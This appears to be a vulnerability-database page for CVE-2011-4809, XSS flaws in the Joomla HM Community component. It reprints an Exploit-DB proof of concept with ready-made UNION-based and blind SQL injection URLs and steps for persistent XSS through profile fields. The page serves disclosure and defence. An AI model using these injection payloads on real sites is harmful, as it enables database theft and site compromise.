CVE-2011-4809
Description
Multiple cross-site scripting (XSS) vulnerabilities in the HM Community (com_hmcommunity) component before 1.01 for Joomla! allow remote attackers to inject arbitrary web script or HTML via the (1) language[], (2) university[], (3) persent[], (4) company_name[], (5) designation[], (6) music[], (7) books[], (8) movies[], (9) games[], (10) syp[], (11) ft[], and (12) fa[] parameters in a save task for a profile to index.php. NOTE: some of these details are obtained from third party information.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Joomla! Component HM Community - Multiple Vulnerabilities
_00000__00000__00000__00000__0___0__00000____0___0___000___0___0_
_0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_
_0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_
_____0______0______0__0______0___0__0________0___0__00000__0___0_
_0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_
_________________________________________________________________
# [+] Joomla Compenent com_hmcommunity Multiple Vulnerabilities
# [+] Software : Joomla
# [+] Download : http://joomlaextensions.co.in/product/HM-Community
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
#
#[------------------------------------------------------------------------------------]
#
# [+] Vulnerabilities
#
# [+] SQL
#
# - http://site.com/index.php?option=com_hmcommunity&view=fnd_home&id=[NB] union select all 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
#
# [+] Blind SQL
#
# - http://site.com//index.php?option=com_hmcommunity&view=fnd_home&id=155 and @@version=5
#
# [+] Persistent XSS
#
# - The XSS is on the profile. You have to create an account and put your code in inputs.
#
# [+] Demo
#
# - Create an account and look this profile : http://site.com/index.php?option=com_hmcommunity&view=fnd_profile&uid=155
#
#[------------------------------------------------------------------------------------]
#
#########################################################################################################
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| joomlaextensions | com_hmcommunity | {"endIncluding":"1.0"} | |
| joomla | joomla\! | | |
References
- http://joomlaextensions.co.in/index.php?option=com_jeshop&view=category_detail&Itemid=118&id=38
- http://secunia.com/advisories/46656
- http://www.exploit-db.com/exploits/18050
- http://www.osvdb.org/76726
- http://joomlaextensions.co.in/index.php?option=com_jeshop&view=category_detail&Itemid=118&id=38
- http://secunia.com/advisories/46656
- http://www.exploit-db.com/exploits/18050
- http://www.osvdb.org/76726
CWEs
CWE-79
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.